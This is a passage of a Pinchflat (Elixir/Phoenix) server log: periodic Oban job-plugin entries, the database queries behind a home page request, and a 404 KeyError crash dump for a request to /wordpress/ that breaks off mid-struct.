19:47:47.230 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:48:00.709 [info] {"source":"oban","duration":159,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:48:17.231 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:48:47.232 [info] {"source":"oban","duration":789,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:49:00.710 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:49:17.234 [info] {"source":"oban","duration":849,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:49:47.236 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:50:00.711 [info] {"source":"oban","duration":148,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:50:17.237 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:50:47.238 [info] {"source":"oban","duration":727,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:51:00.712 [info] {"source":"oban","duration":161,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:51:17.239 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:51:47.240 [info] {"source":"oban","duration":575,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:52:00.713 [info] {"source":"oban","duration":208,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:52:17.240 [info] {"source":"oban","duration":492,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:52:47.242 [info] {"source":"oban","duration":576,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:53:00.714 [info] {"source":"oban","duration":329,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:53:17.243 [info] {"source":"oban","duration":936,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:53:47.245 [info] {"source":"oban","duration":760,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:54:00.715 [info] {"source":"oban","duration":253,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:54:17.246 [info] {"source":"oban","duration":713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:54:47.247 [info] {"source":"oban","duration":831,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:55:00.716 [info] {"source":"oban","duration":158,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:55:17.249 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:55:47.250 [info] {"source":"oban","duration":772,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:56:00.717 [info] {"source":"oban","duration":202,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:56:17.251 [info] {"source":"oban","duration":614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:56:47.252 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:57:00.718 [info] {"source":"oban","duration":190,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:57:17.253 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:57:47.254 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:58:00.719 [info] {"source":"oban","duration":142,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:58:17.255 [info] {"source":"oban","duration":786,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:58:47.257 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:59:00.720 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:59:17.258 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:59:47.259 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:00:00.721 [info] {"source":"oban","duration":192,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:00:17.260 [info] {"source":"oban","duration":1215,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":3} 20:00:47.262 [info] {"source":"oban","duration":817,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:01:00.722 [info] {"source":"oban","duration":206,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:01:17.264 [info] {"source":"oban","duration":1056,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:01:47.266 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:02:00.723 [info] {"source":"oban","duration":248,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:02:17.267 [info] {"source":"oban","duration":600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:02:47.268 [info] {"source":"oban","duration":598,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:03:00.724 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:03:17.269 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:03:47.270 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:04:00.725 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:04:17.271 [info] {"source":"oban","duration":736,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:04:47.272 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:05:00.726 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:05:17.273 [info] {"source":"oban","duration":801,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:05:47.275 [info] {"source":"oban","duration":748,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:06:00.727 [info] {"source":"oban","duration":211,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:06:17.276 [info] {"source":"oban","duration":634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:06:47.277 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:07:00.728 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:07:17.278 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:07:47.279 [info] {"source":"oban","duration":575,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:08:00.729 [info] {"source":"oban","duration":207,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:08:17.280 [info] {"source":"oban","duration":889,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:08:47.282 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:09:00.731 [info] {"source":"oban","duration":284,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:09:17.283 [info] {"source":"oban","duration":756,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:09:47.284 [info] {"source":"oban","duration":573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:10:00.731 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:10:17.285 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:10:47.286 [info] {"source":"oban","duration":853,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:11:00.732 [info] {"source":"oban","duration":205,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:11:17.288 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:11:47.289 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:12:00.733 [info] {"source":"oban","duration":183,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:12:17.290 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:12:47.291 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:13:00.734 [info] {"source":"oban","duration":206,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:13:17.292 [info] {"source":"oban","duration":717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:13:47.293 [info] {"source":"oban","duration":773,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:14:00.735 [info] {"source":"oban","duration":209,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:14:17.295 [info] {"source":"oban","duration":591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:14:47.296 [info] {"source":"oban","duration":737,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:15:00.736 [info] {"source":"oban","duration":237,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:15:17.297 [info] {"source":"oban","duration":597,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:15:47.298 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:16:00.737 [info] {"source":"oban","duration":206,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:16:17.299 [info] {"source":"oban","duration":598,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:16:47.300 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:17:00.738 [info] {"source":"oban","duration":237,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:17:17.301 [info] {"source":"oban","duration":741,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:17:47.302 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:18:00.740 [info] {"source":"oban","duration":399,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:18:17.303 [info] {"source":"oban","duration":887,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:18:47.305 [info] {"source":"oban","duration":768,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:19:00.740 [info] {"source":"oban","duration":202,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:19:17.306 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:19:47.307 [info] {"source":"oban","duration":634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:20:00.741 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:20:17.308 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:20:47.309 [info] {"source":"oban","duration":737,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:21:00.742 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:21:17.311 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:21:47.312 [info] {"source":"oban","duration":752,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:22:00.744 [info] {"source":"oban","duration":354,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:22:17.313 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:22:47.314 [info] {"source":"oban","duration":711,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:23:00.744 [info] {"source":"oban","duration":209,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:23:17.315 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:23:47.316 [info] {"source":"oban","duration":603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:24:00.745 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:24:17.317 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:24:47.318 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:25:00.746 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:25:17.319 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:25:47.320 [info] {"source":"oban","duration":735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:26:00.747 [info] {"source":"oban","duration":162,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:26:17.322 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:26:47.323 [info] {"source":"oban","duration":593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:27:00.748 [info] {"source":"oban","duration":149,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:27:17.324 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:27:47.325 [info] {"source":"oban","duration":563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:28:00.749 [info] {"source":"oban","duration":169,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:28:17.326 [info] {"source":"oban","duration":825,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:28:19.475 [info] GET / 20:28:19.475 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 20:28:19.476 [debug] QUERY OK source="settings" db=0.1ms idle=786.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:28:19.476 [debug] QUERY OK source="media_profiles" db=0.1ms idle=786.6ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 20:28:19.476 [debug] QUERY OK source="sources" db=0.0ms idle=786.8ms SELECT count(s0."id") FROM "sources" AS s0 [] 20:28:19.486 [debug] QUERY OK source="media_items" db=10.0ms idle=787.0ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 20:28:19.487 [debug] QUERY OK source="media_items" db=0.4ms idle=781.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 20:28:19.487 [debug] QUERY OK source="settings" db=0.1ms idle=11.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:28:19.487 [debug] QUERY OK source="settings" db=0.0ms idle=11.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:28:19.488 [debug] QUERY OK source="settings" db=0.0ms idle=11.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:28:19.489 [debug] QUERY OK source="tasks" db=0.1ms idle=2.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:28:19.489 [debug] QUERY OK source="media_items" db=0.2ms idle=1.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 20:28:19.490 [debug] QUERY OK source="media_items" db=0.3ms idle=1.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 20:28:19.490 [debug] QUERY OK source="sources" db=0.1ms idle=2.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [3, 2] 20:28:19.495 [debug] QUERY OK source="media_items" db=3.1ms idle=3.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 20:28:19.496 [debug] QUERY OK source="media_items" db=0.5ms idle=6.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 20:28:19.496 [debug] QUERY OK source="sources" db=0.1ms idle=6.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [3, 2] 20:28:19.498 [info] Sent 200 in 22ms 20:28:20.216 [info] GET /wordpress/ 20:28:20.217 [debug] QUERY OK source="settings" db=0.1ms queue=0.1ms idle=726.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:28:20.217 [debug] QUERY OK source="settings" db=0.1ms idle=721.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:28:20.217 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 20:28:20.217 [error] #PID<0.12965.0> running PinchflatWeb.Endpoint (connection #PID<0.12963.0>, stream id 2) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /wordpress/ ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wordpress (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12963.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wordpress/", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 44700}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "referer" => "http://pinchflat.8layer8.com/wordpress/", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) Firefox/117.0", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.12965.0>, params: %{}, path_info: ["wordpress"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"referer", "http://pinchflat.8layer8.com/wordpress/"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) Firefox/117.0"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/wordpress/", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKF2773t4oNMsQ4AAuwC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12963.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wordpress/", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 44700}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "referer" => "http://pinchflat.8layer8.com/wordpress/", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) Firefox/117.0", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wordpress (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12963.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wordpress/", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 44700}, bindings: %{}, sock: {{10, 0, 1, 